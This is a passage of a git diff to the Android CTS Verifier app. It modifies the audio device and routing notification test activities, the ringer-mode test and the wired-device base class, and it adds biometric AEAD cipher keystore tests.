-                getPassButton().setEnabled(mConnectReceived && mDisconnectReceived);
+                    mContext.getResources().getString(
+                        R.string.audio_dev_notification_disconnectMsg));
             }
         }
     }
 
     @Override
+    protected void enableTestButtons(boolean enabled) {
+        // Nothing to do.
+    }
+
+    @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_dev_notify);
 
         mContext = this;
 
-        mConnectView = (TextView) findViewById(R.id.audio_dev_notification_connect_msg);
-        mDisconnectView = (TextView) findViewById(R.id.audio_dev_notification_disconnect_msg);
+        mConnectView = (TextView)findViewById(R.id.audio_dev_notification_connect_msg);
+        mDisconnectView = (TextView)findViewById(R.id.audio_dev_notification_disconnect_msg);
 
-        mInfoView = (TextView) findViewById(R.id.info_text);
-        mInfoView.setText(mContext.getResources().getString(
-                R.string.audio_devices_notification_instructions));
+        ((TextView)findViewById(R.id.info_text)).setText(mContext.getResources().getString(
+                R.string.audio_in_devices_notification_instructions));
 
-        findViewById(R.id.audio_dev_notification_connect_clearmsgs_btn)
-                .setOnClickListener(new View.OnClickListener() {
-                    public void onClick(View v) {
-                        mConnectView.setText("");
-                        mConnectReceived = false;
-                        mDisconnectView.setText("");
-                        mDisconnectReceived = false;
-                        calculatePass();
-                    }
-                });
+        mClearMsgsBtn = (Button)findViewById(R.id.audio_dev_notification_connect_clearmsgs_btn);
+        mClearMsgsBtn.setOnClickListener(new View.OnClickListener() {
+            public void onClick(View v) {
+                mConnectView.setText("");
+                mDisconnectView.setText("");
+            }
+        });
 
         AudioManager audioManager = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
         audioManager.registerAudioDeviceCallback(new TestAudioDeviceCallback(), null);
@@ -98,21 +92,6 @@
         // "Honor System" buttons
         super.setup();
 
-        setInfoResources(R.string.audio_in_devices_notifications_test,
-                R.string.audio_in_devices_infotext, -1);
         setPassFailButtonClickListeners();
-
-        calculatePass();
-    }
-
-    @Override
-    protected void enableTestButtons(boolean enabled) {
-        mInfoView.setVisibility(enabled ? View.VISIBLE : View.INVISIBLE);
-    }
-
-    @Override
-    protected void calculatePass() {
-        getPassButton().setEnabled(!mSupportsWiredPeripheral
-                || (mConnectReceived && mDisconnectReceived));
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index 56ca5e7..4b2d213 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -16,28 +16,30 @@
 
 package com.android.cts.verifier.audio;
 
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+import com.android.cts.verifier.R;
 
 import android.content.Context;
+
+import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
 import android.media.AudioRecord;
+
 import android.os.Bundle;
 import android.os.Handler;
+
 import android.util.Log;
+
 import android.view.View;
 import android.view.View.OnClickListener;
+
 import android.widget.Button;
 import android.widget.TextView;
 
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.R;
-
-import org.hyphonate.megaaudio.recorder.JavaRecorder;
-import org.hyphonate.megaaudio.recorder.Recorder;
 import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.JavaRecorder;
 import org.hyphonate.megaaudio.recorder.sinks.NopAudioSinkProvider;
 
 /*
@@ -48,11 +50,10 @@
 
     Button recordBtn;
     Button stopBtn;
-    TextView mInfoView;
 
     Context mContext;
 
-    int mNumRoutingNotifications;
+    int mNumRecordNotifications = 0;
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
@@ -60,17 +61,7 @@
     static final int SAMPLE_RATE = 48000;
     int mNumFrames;
 
-    private JavaRecorder mAudioRecorder;
-    private AudioRecordRoutingChangeListener mRouteChangeListener;
-    private boolean mIsRecording;
-
-    // ignore messages sent as a consequence of starting the player
-    private static final int NUM_IGNORE_MESSAGES = 2;
-
-    boolean mRoutingNotificationReceived;
-
-    // ReportLog schema
-    protected static final String SECTION_INPUT_ROUTING = "audio_in_routing_notifications";
+    JavaRecorder mAudioRecorder;
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
@@ -79,94 +70,44 @@
                 return; // failed to create the recorder
             }
 
-            if (v.getId() == R.id.audio_routingnotification_recordBtn) {
-                startRecording();
-            } else if (v.getId() == R.id.audio_routingnotification_recordStopBtn) {
-                stopRecording();
+            switch (v.getId()) {
+                case R.id.audio_routingnotification_recordBtn:
+                {
+                     mAudioRecorder.startStream();
+
+                    AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
+                    audioRecord.addOnRoutingChangedListener(
+                            new AudioRecordRoutingChangeListener(), new Handler());
+
+                }
+                    break;
+
+                case R.id.audio_routingnotification_recordStopBtn:
+                    mAudioRecorder.stopStream();
+                    break;
             }
         }
     }
 
-    private void startRecording() {
-        if (!mIsRecording) {
-            mNumRoutingNotifications = 0;
-
-            mAudioRecorder.startStream();
-
-            AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
-            audioRecord.addOnRoutingChangedListener(mRouteChangeListener,
-                    new Handler());
-
-            mIsRecording = true;
-            enableTestButtons(false);
-        }
-    }
-
-    private void stopRecording() {
-        if (mIsRecording) {
-            mAudioRecorder.stopStream();
-
-            AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
-            audioRecord.removeOnRoutingChangedListener(mRouteChangeListener);
-
-            mIsRecording = false;
-            enableTestButtons(true);
-        }
-    }
-
     private class AudioRecordRoutingChangeListener implements AudioRecord.OnRoutingChangedListener {
         public void onRoutingChanged(AudioRecord audioRecord) {
-            // Starting recording triggers routing messages, so ignore the first one.
-            mNumRoutingNotifications++;
-            if (mNumRoutingNotifications <= NUM_IGNORE_MESSAGES) {
-                return;
-            }
-
+            mNumRecordNotifications++;
             TextView textView =
                     (TextView)findViewById(R.id.audio_routingnotification_audioRecord_change);
             String msg = mContext.getResources().getString(
                     R.string.audio_routingnotification_recordRoutingMsg);
             AudioDeviceInfo routedDevice = audioRecord.getRoutedDevice();
             CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
-            mConnectedPeripheralName = deviceName.toString();
             int deviceType = routedDevice != null ? routedDevice.getType() : -1;
             textView.setText(msg + " - " +
-                    deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
-                    " - " + mNumRoutingNotifications);
-
-            mRoutingNotificationReceived = true;
-            calculatePass();
+                             deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
+                             " - " + mNumRecordNotifications);
         }
     }
 
-    @Override
     protected void enableTestButtons(boolean enabled) {
         recordBtn.setEnabled(enabled);
-        stopBtn.setEnabled(!enabled);
-    }
-
-    @Override
-    protected void calculatePass() {
-        getPassButton().setEnabled(mRoutingNotificationReceived || !mSupportsWiredPeripheral);
-        if (mRoutingNotificationReceived) {
-            ((TextView) findViewById(R.id.audio_routingnotification_testresult)).setText(
-                    "Test PASSES - Routing notification received");
-        } else if (!mSupportsWiredPeripheral) {
-            ((TextView) findViewById(
-                    R.id.audio_routingnotification_testresult)).setText(
-                    "Test PASSES - No peripheral support");
-        }
-    }
-
-    protected void storeTestResults() {
-        super.storeTestResults();
-
-        CtsVerifierReportLog reportLog = getReportLog();
-        reportLog.addValue(
-                KEY_ROUTING_RECEIVED,
-                mRoutingNotificationReceived ? 1 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
+        stopBtn.setEnabled(enabled);
     }
 
     @Override
@@ -175,15 +116,11 @@
         setContentView(R.layout.audio_input_routingnotifications_test);
 
         Button btn;
-        recordBtn = (Button) findViewById(R.id.audio_routingnotification_recordBtn);
+        recordBtn = (Button)findViewById(R.id.audio_routingnotification_recordBtn);
         recordBtn.setOnClickListener(mBtnClickListener);
-        stopBtn = (Button) findViewById(R.id.audio_routingnotification_recordStopBtn);
+        stopBtn = (Button)findViewById(R.id.audio_routingnotification_recordStopBtn);
         stopBtn.setOnClickListener(mBtnClickListener);
 
-        enableTestButtons(false);
-
-        mInfoView = (TextView) findViewById(R.id.info_text);
-
         mContext = this;
 
         // Setup Recorder
@@ -200,26 +137,17 @@
             Log.e(TAG, "Failed MegaRecorder build.");
         }
 
-        mRouteChangeListener = new AudioRecordRoutingChangeListener();
-        AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
-        audioRecord.addOnRoutingChangedListener(mRouteChangeListener, new Handler());
-
         // "Honor System" buttons
         super.setup();
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_input_routingnotifications_test,
-                R.string.audio_input_routingnotification_instructions, -1);
-    }
 
-    @Override
-    public final String getReportSectionName() {
-        return setTestNameSuffix(sCurrentDisplayMode, SECTION_INPUT_ROUTING);
+        setPassFailButtonClickListeners();
     }
 
     @Override
     public void onBackPressed () {
-        stopRecording();
+        if (mAudioRecorder != null) {
+            mAudioRecorder.stopStream();
+        }
         super.onBackPressed();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
index 6761d9d..0e4f6da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
@@ -16,15 +16,21 @@
 
 package com.android.cts.verifier.audio;
 
+import com.android.cts.verifier.R;
+
 import android.content.Context;
+
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
-import android.os.Bundle;
-import android.view.View;
-import android.widget.TextView;
 
-import com.android.cts.verifier.R;
+import android.os.Bundle;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+import android.widget.TextView;
 
 /**
  * Tests Audio Device Connection events for output devices by prompting the user to
@@ -35,62 +41,50 @@
 
     TextView mConnectView;
     TextView mDisconnectView;
-    TextView mInfoView;
-
-    boolean mHandledInitialAddedMessage = false;
-    boolean mConnectReceived = false;
-    boolean mDisconnectReceived = false;
+    Button mClearMsgsBtn;
 
     private class TestAudioDeviceCallback extends AudioDeviceCallback {
         public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            // we will get this message when we setup the handler, so ignore the first one.
-            if (!mHandledInitialAddedMessage) {
-                mHandledInitialAddedMessage = true;
-                return;
-            }
             if (addedDevices.length != 0) {
                 mConnectView.setText(
-                        mContext.getResources().getString(R.string.audio_dev_notification_connectMsg));
-                mConnectReceived = true;
-                getPassButton().setEnabled(mConnectReceived && mDisconnectReceived);
+                    mContext.getResources().getString(R.string.audio_dev_notification_connectMsg));
             }
         }
 
         public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
             if (removedDevices.length != 0) {
                 mDisconnectView.setText(
-                        mContext.getResources().getString(
-                                R.string.audio_dev_notification_disconnectMsg));
-                mDisconnectReceived = true;
-                getPassButton().setEnabled(mConnectReceived && mDisconnectReceived);
+                    mContext.getResources().getString(
+                        R.string.audio_dev_notification_disconnectMsg));
             }
         }
     }
 
     @Override
+    protected void enableTestButtons(boolean enabled) {
+        // Nothing to do.
+    }
+
+    @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_dev_notify);
 
         mContext = this;
 
-        mConnectView = (TextView) findViewById(R.id.audio_dev_notification_connect_msg);
-        mDisconnectView = (TextView) findViewById(R.id.audio_dev_notification_disconnect_msg);
+        mConnectView = (TextView)findViewById(R.id.audio_dev_notification_connect_msg);
+        mDisconnectView = (TextView)findViewById(R.id.audio_dev_notification_disconnect_msg);
 
-        mInfoView = (TextView) findViewById(R.id.info_text);
-        mInfoView.setText(mContext.getResources().getString(
-                R.string.audio_devices_notification_instructions));
+        ((TextView)findViewById(R.id.info_text)).setText(mContext.getResources().getString(
+                R.string.audio_out_devices_notification_instructions));
 
-        findViewById(R.id.audio_dev_notification_connect_clearmsgs_btn)
-                .setOnClickListener(new View.OnClickListener() {
-                    public void onClick(View v) {
-                        mConnectView.setText("");
-                        mConnectReceived = false;
-                        mDisconnectView.setText("");
-                        mDisconnectReceived = false;
-                        calculatePass();
-                    }
-                });
+        mClearMsgsBtn = (Button)findViewById(R.id.audio_dev_notification_connect_clearmsgs_btn);
+        mClearMsgsBtn.setOnClickListener(new View.OnClickListener() {
+            public void onClick(View v) {
+                mConnectView.setText("");
+                mDisconnectView.setText("");
+            }
+        });
 
         AudioManager audioManager = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
         audioManager.registerAudioDeviceCallback(new TestAudioDeviceCallback(), null);
@@ -98,21 +92,6 @@
         // "Honor System" buttons
         super.setup();
 
-        setInfoResources(R.string.audio_out_devices_notifications_test,
-                R.string.audio_out_devices_infotext, -1);
         setPassFailButtonClickListeners();
-
-        calculatePass();
-    }
-
-    @Override
-    protected void enableTestButtons(boolean enabled) {
-        mInfoView.setVisibility(enabled ? View.VISIBLE : View.INVISIBLE);
-    }
-
-    @Override
-    protected void calculatePass() {
-        getPassButton().setEnabled(!mSupportsWiredPeripheral
-                || (mConnectReceived && mDisconnectReceived));
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index da8f618..62749c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -16,25 +16,27 @@
 
 package com.android.cts.verifier.audio;
 
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+import com.android.cts.verifier.R;
 
 import android.content.Context;
+
+import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
 import android.media.AudioTrack;
+
 import android.os.Bundle;
 import android.os.Handler;
+
 import android.util.Log;
+
 import android.view.View;
 import android.view.View.OnClickListener;
+
 import android.widget.Button;
 import android.widget.TextView;
 
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.R;
-
+import org.hyphonate.megaaudio.player.AudioSource;
 import org.hyphonate.megaaudio.player.AudioSourceProvider;
 import org.hyphonate.megaaudio.player.JavaPlayer;
 import org.hyphonate.megaaudio.player.PlayerBuilder;
@@ -53,26 +55,13 @@
 
     Button playBtn;
     Button stopBtn;
-    TextView mInfoView;
-
-    int mNumRoutingNotifications;
 
     private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    // ignore messages sent as a consequence of starting the player
-    private static final int NUM_IGNORE_MESSAGES = 1;
+    int mNumTrackNotifications = 0;
 
     // Mega Player
-    private JavaPlayer mAudioPlayer;
-    private AudioTrackRoutingChangeListener mRoutingChangeListener;
-    private boolean mIsPlaying;
-
-    private boolean mInitialRoutingMessageHandled;
-
-    boolean mRoutingNotificationReceived;
-
-    // ReportLog schema
-    private static final String SECTION_OUTPUT_ROUTING = "audio_out_routing_notifications";
+    JavaPlayer mAudioPlayer;
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
@@ -80,97 +69,43 @@
             if (mAudioPlayer == null) {
                 return; // failed to create the player
             }
-            int id = v.getId();
-            if (id == R.id.audio_routingnotification_playBtn) {
-                startPlayback();
-            } else if (id == R.id.audio_routingnotification_playStopBtn) {
-                stopPlayback();
+            switch (v.getId()) {
+                case R.id.audio_routingnotification_playBtn:
+                {
+                    mAudioPlayer.startStream();
+                    AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
+                    audioTrack.addOnRoutingChangedListener(
+                            new AudioTrackRoutingChangeListener(), new Handler());
+                }
+                    break;
+
+                case R.id.audio_routingnotification_playStopBtn:
+                    mAudioPlayer.stopStream();
+                    break;
             }
         }
     }
 
-    private void startPlayback() {
-        if (!mIsPlaying) {
-            mNumRoutingNotifications = 0;
-
-            mAudioPlayer.startStream();
-
-            AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
-            audioTrack.addOnRoutingChangedListener(mRoutingChangeListener,
-                    new Handler());
-
-            mIsPlaying = true;
-
-            enableTestButtons(false);
-        }
-    }
-
-    private void stopPlayback() {
-        if (mIsPlaying) {
-            mAudioPlayer.stopStream();
-
-            AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
-            audioTrack.removeOnRoutingChangedListener(mRoutingChangeListener);
-
-            mIsPlaying = false;
-
-            enableTestButtons(true);
-        }
-    }
-
     private class AudioTrackRoutingChangeListener implements AudioTrack.OnRoutingChangedListener {
         public void onRoutingChanged(AudioTrack audioTrack) {
-            // Starting playback triggers a messages, so ignore the first one.
-            mNumRoutingNotifications++;
-            if (mNumRoutingNotifications <= NUM_IGNORE_MESSAGES) {
-                return;
-            }
-
+            mNumTrackNotifications++;
             TextView textView =
-                    (TextView)findViewById(R.id.audio_routingnotification_audioTrack_change);
+                (TextView)findViewById(R.id.audio_routingnotification_audioTrack_change);
             String msg = mContext.getResources().getString(
                     R.string.audio_routingnotification_trackRoutingMsg);
             AudioDeviceInfo routedDevice = audioTrack.getRoutedDevice();
             CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
-            mConnectedPeripheralName = deviceName.toString();
             int deviceType = routedDevice != null ? routedDevice.getType() : -1;
             textView.setText(msg + " - " +
-                    deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
-                    " - " + mNumRoutingNotifications);
-
-            mRoutingNotificationReceived = true;
-            calculatePass();
+                             deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
+                             " - " + mNumTrackNotifications);
         }
     }
 
     @Override
     protected void enableTestButtons(boolean enabled) {
         playBtn.setEnabled(enabled);
-        stopBtn.setEnabled(!enabled);
-    }
-
-    @Override
-    protected void calculatePass() {
-        getPassButton().setEnabled(mRoutingNotificationReceived || !mSupportsWiredPeripheral);
-        if (mRoutingNotificationReceived) {
-            ((TextView) findViewById(R.id.audio_routingnotification_testresult)).setText(
-                    "Test PASSES - Routing notification received");
-        } else if (!mSupportsWiredPeripheral) {
-            ((TextView) findViewById(
-                    R.id.audio_routingnotification_testresult)).setText(
-                    "Test PASSES - No peripheral support");
-        }
-    }
-
-    protected void storeTestResults() {
-        super.storeTestResults();
-
-        CtsVerifierReportLog reportLog = getReportLog();
-        reportLog.addValue(
-                KEY_ROUTING_RECEIVED,
-                mRoutingNotificationReceived ? 1 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
+        stopBtn.setEnabled(enabled);
     }
 
     @Override
@@ -180,15 +115,11 @@
 
         mContext = this;
 
-        playBtn = (Button) findViewById(R.id.audio_routingnotification_playBtn);
+        playBtn = (Button)findViewById(R.id.audio_routingnotification_playBtn);
         playBtn.setOnClickListener(mBtnClickListener);
-        stopBtn = (Button) findViewById(R.id.audio_routingnotification_playStopBtn);
+        stopBtn = (Button)findViewById(R.id.audio_routingnotification_playStopBtn);
         stopBtn.setOnClickListener(mBtnClickListener);
 
-        enableTestButtons(false);
-
-        mInfoView = (TextView) findViewById(R.id.info_text);
-
         // Setup Player
         //
         // Allocate the source provider for the sort of signal we want to play
@@ -208,24 +139,17 @@
             Log.e(TAG, "Failed MegaPlayer build.");
         }
 
-        mRoutingChangeListener = new AudioTrackRoutingChangeListener();
-
         // "Honor System" buttons
         super.setup();
-        setInfoResources(R.string.audio_output_routingnotifications_test,
-                R.string.audio_output_routingnotification_instructions, -1);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-    }
 
-    @Override
-    public final String getReportSectionName() {
-        return setTestNameSuffix(sCurrentDisplayMode, SECTION_OUTPUT_ROUTING);
+        setPassFailButtonClickListeners();
     }
 
     @Override
     public void onBackPressed () {
-        stopPlayback();
+        if (mAudioPlayer != null) {
+            mAudioPlayer.stopStream();
+        }
         super.onBackPressed();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
index 97813af..2e308f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
@@ -16,36 +16,31 @@
 
 package com.android.cts.verifier.audio;
 
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.CtsVerifierReportLog;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.Context;
+
+import android.os.Bundle;
+import android.os.Handler;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+
 abstract class AudioWiredDeviceBaseActivity extends PassFailButtons.Activity {
     private static final String TAG = AudioWiredDeviceBaseActivity.class.getSimpleName();
 
     private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    private Button mSupportsBtn;
-    private Button mDoesntSupportBtn;
-
-    protected boolean mSupportsWiredPeripheral = true;
-    protected String mConnectedPeripheralName;
-
-    protected abstract void enableTestButtons(boolean enabled);
-    protected abstract void calculatePass();
-
-    // ReportLog schema
-    private static final String KEY_WIRED_PORT_SUPPORTED = "wired_port_supported";
-    protected static final String KEY_SUPPORTS_PERIPHERALS = "supports_wired_peripherals";
-    protected static final String KEY_ROUTING_RECEIVED = "routing_received";
-    protected static final String KEY_CONNECTED_PERIPHERAL = "routing_connected_peripheral";
+    abstract protected void enableTestButtons(boolean enabled);
 
     private void recordWiredPortFound(boolean found) {
         getReportLog().addValue(
@@ -57,58 +52,29 @@
 
     protected void setup() {
         // The "Honor" system buttons
-        (mSupportsBtn =
-                (Button) findViewById(R.id.audio_wired_no)).setOnClickListener(mBtnClickListener);
-        (mDoesntSupportBtn =
-                (Button) findViewById(R.id.audio_wired_yes)).setOnClickListener(mBtnClickListener);
+        ((Button)findViewById(R.id.audio_wired_no)).setOnClickListener(mBtnClickListener);
+        ((Button)findViewById(R.id.audio_wired_yes)).setOnClickListener(mBtnClickListener);
+
+        enableTestButtons(false);
     }
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
         public void onClick(View v) {
-            int id = v.getId();
-            if (id == R.id.audio_wired_no) {
-                Log.i(TAG, "User denies wired device existence");
-                mSupportsWiredPeripheral = false;
-            } else if (id == R.id.audio_wired_yes) {
-                Log.i(TAG, "User confirms wired device existence");
-                mSupportsWiredPeripheral = true;
-            }
+            switch (v.getId()) {
+                case R.id.audio_wired_no:
+                    Log.i(TAG, "User denies wired device existence");
+                    enableTestButtons(false);
+                    recordWiredPortFound(false);
+                    break;
 
-            Log.i(TAG, "Wired Device Support:" + mSupportsWiredPeripheral);
-            enableTestButtons(mSupportsWiredPeripheral);
-            recordWiredPortFound(mSupportsWiredPeripheral);
-            calculatePass();
+                case R.id.audio_wired_yes:
+                    Log.i(TAG, "User confirms wired device existence");
+                    enableTestButtons(true);
+                    recordWiredPortFound(true);
+                    break;
+            }
         }
     }
 
-    protected void storeTestResults() {
-        CtsVerifierReportLog reportLog = getReportLog();
-        reportLog.addValue(
-                KEY_WIRED_PORT_SUPPORTED,
-                mSupportsWiredPeripheral ? 1 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_CONNECTED_PERIPHERAL,
-                mConnectedPeripheralName,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-
-    //
-    // PassFailButtons Overrides
-    //
-    @Override
-    public String getReportFileName() {
-        return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME;
-    }
-
-    @Override
-    public void recordTestResults() {
-        storeTestResults();
-
-        getReportLog().submit();
-    }
-}
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
index 74e92f1..9e27cb3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -75,8 +75,8 @@
     private boolean mUseFixedVolume;
     private boolean mIsTelevision;
     private boolean mIsSingleVolume;
-    private boolean mSkipRingerTests;
     private boolean mIsWatch;
+    private boolean mSkipRingerTests;
     private boolean mSkipTouchSoundTests;
 
     @Override
@@ -250,10 +250,12 @@
 
         @Override
         protected void test() {
+
             if (mSkipTouchSoundTests) {
                 status = PASS;
                 return;
             }
+
             boolean touchSoundEnabled =
                 Settings.System.getInt(mContext.getContentResolver(),
                     Settings.System.SOUND_EFFECTS_ENABLED, 1) == 1;
@@ -284,10 +286,12 @@
 
         @Override
         protected void test() {
+
             if (mSkipTouchSoundTests) {
                 status = PASS;
                 return;
             }
+
             // should hear sound after loadSoundEffects() called.
             mAudioManager.loadSoundEffects();
             try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java
new file mode 100644
index 0000000..e23ab73
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.hardware.biometrics.BiometricPrompt;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import javax.crypto.Cipher;
+import javax.crypto.KeyGenerator;
+
+/**
+ * An abstract base class to add Aead Cipher tests.
+ */
+public abstract class AbstractUserAuthenticationAeadCipherTest
+        extends AbstractUserAuthenticationTest {
+    private Cipher mCipher;
+
+    @Override
+    void createUserAuthenticationKey(String keyName, int timeout, int authType,
+            boolean useStrongBox) throws Exception {
+        KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
+                keyName, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT);
+        builder.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+                .setUserAuthenticationRequired(true)
+                .setUserAuthenticationParameters(timeout, authType)
+                .setIsStrongBoxBacked(useStrongBox);
+
+        KeyGenerator keyGenerator = KeyGenerator.getInstance(
+                KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
+        keyGenerator.init(builder.build());
+        keyGenerator.generateKey();
+    }
+
+    @Override
+    void initializeKeystoreOperation(String keyName) throws Exception {
+        mCipher = Utils.initAeadCipher(keyName);
+    }
+
+    @Override
+    BiometricPrompt.CryptoObject getCryptoObject() {
+        return new BiometricPrompt.CryptoObject(mCipher);
+    }
+
+    @Override
+    void doKeystoreOperation(byte[] payload) throws Exception {
+        try {
+            byte[] aad = "Test aad data".getBytes();
+            mCipher.updateAAD(aad);
+            Utils.doEncrypt(mCipher, payload);
+        } finally {
+            mCipher = null;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/OWNERS
index d791f40..d78eba8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/OWNERS
@@ -1,6 +1,9 @@
 # Bug component: 114777
+
 curtislb@google.com
+graciecheng@google.com
 ilyamaty@google.com
 jaggies@google.com
+jbolinger@google.com
 joshmccloskey@google.com
-kchyn@google.com
\ No newline at end of file
+kchyn@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java
new file mode 100644
index 0000000..b2ab3ed
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
